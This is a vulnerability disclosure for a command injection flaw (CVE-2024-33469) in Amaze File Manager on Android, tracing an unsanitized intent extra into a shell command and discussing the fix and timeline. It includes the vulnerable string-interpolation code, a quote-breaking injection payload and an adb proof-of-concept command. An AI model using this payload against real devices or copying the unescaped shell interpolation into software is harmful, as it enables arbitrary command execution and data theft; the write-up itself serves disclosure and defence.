CVE-2024-33469 — TeamAmaze · Amaze File Manager
OS command injection via an unsanitized path string extra in DatabaseViewerActivity.java allows arbitrary command execution when root explorer mode is enabled.
Amaze File Manager’s DatabaseViewerActivity accepts a path string extra from an incoming intent and passes it, without any sanitization, into a shell command string inside MountPathCommand.mountPath(). When the app is running with root explorer mode enabled, this allows a malicious app to inject arbitrary shell commands and execute them under Amaze File Manager’s process.
Background
OS command injection occurs when attacker-controlled input is interpolated directly into a shell command string. In Kotlin, "umount -r \"$path\"" substitutes the path variable inline — if the value contains a " character, the attacker closes the opening quote and appends a command separator to run arbitrary commands.
On Android, DatabaseViewerActivity is an exported activity. Any app on the device can start it with a crafted intent extra. Android’s getStringExtra() returns whatever the sender put in the bundle, with no validation.
Root Cause Analysis
Step 1: DatabaseViewerActivity.onCreate() — unvalidated string extra
// DatabaseViewerActivity.java
path = getIntent().getStringExtra("path");
if (path == null) {
Toast.makeText(this, R.string.operation_not_supported, Toast.LENGTH_SHORT).show();
finish();
return;
}
pathFile = new File(path);
load(pathFile);
A null check exists, but nothing validates the content of path. An attacker controls its value entirely.
Step 2: load() — the injection-triggering code path
private void load(final File file) {
new Thread(() -> {
File file1 = getExternalCacheDir();
// only reached when root explorer is enabled and the file can't be read directly
if (!file.canRead() && isRootExplorer()) {
try {
CopyFilesCommand.INSTANCE.copyFiles(
pathFile.getPath(), // attacker-controlled
new File(file1.getPath(), file.getName()).getPath());
} catch (ShellNotRunningException e) {
LOG.warn("failed to copy file while showing database file", e);
}
delete = true;
}
// ...
}).start();
}
When root explorer mode is active and the supplied path can’t be read directly, load() passes the attacker-controlled path to CopyFilesCommand.copyFiles(), which internally calls MountPathCommand.mountPath().
Step 3: MountPathCommand.mountPath() — the injection point
// MountPathCommand.kt
@Throws(ShellNotRunningException::class)
fun mountPath(path: String, operation: String): String? {
return when (operation) {
READ_ONLY -> {
val command = "umount -r \"$path\"" // path injected without escaping
runShellCommand(command)
null
}
READ_WRITE -> mountReadWrite(path)
else -> null
}
}
path is interpolated directly into the command string using Kotlin’s string template syntax. With a payload of "; id > /sdcard/poc/pwned.cmd, the resulting command becomes:
umount -r ""; id > /sdcard/poc/pwned.cmd
The " closes the opening quote in the template, ; terminates the (harmlessly failing) umount invocation, and id > /sdcard/poc/pwned.cmd runs as an independent shell command under Amaze File Manager’s UID.
Prerequisite: Root explorer mode must be enabled in Amaze File Manager’s settings for the CopyFilesCommand path to be reached.
Proof of Concept
adb shell am start \
-n com.amaze.filemanager/.ui.activities.DatabaseViewerActivity \
--es "path" '"; id > /sdcard/poc/pwned.cmd'
After the intent is processed, /sdcard/poc/pwned.cmd contains the output of the id command running under the app’s process identity:
uid=10xxx(u0_a...) gid=10xxx(u0_a...) groups=10xxx(u0_a...),...
The id command can be replaced with any shell payload — reading private databases, exfiltrating files, or spawning persistent processes.
Impact
When root explorer mode is enabled, any app installed on the device can send a crafted intent to DatabaseViewerActivity and execute arbitrary OS commands under Amaze File Manager’s process context. In root explorer mode, the app operates with elevated permissions for filesystem access — making the impact of arbitrary command execution particularly significant.
Patch Analysis
Fix commit 4255d49. The correct fix is proper sanitization in mountPath() — either escaping shell metacharacters in the path value before interpolation, or replacing string concatenation with a parameterized execution method that avoids shell interpretation entirely.
Timeline
| Date | Event |
|---|---|
| 2023-08-15 | Discovered and reported on huntr |
| 2023-09-18 | Validated by maintainer |
| 2024-02-26 | Fix submitted |
| 2024-02-29 | Public disclosure |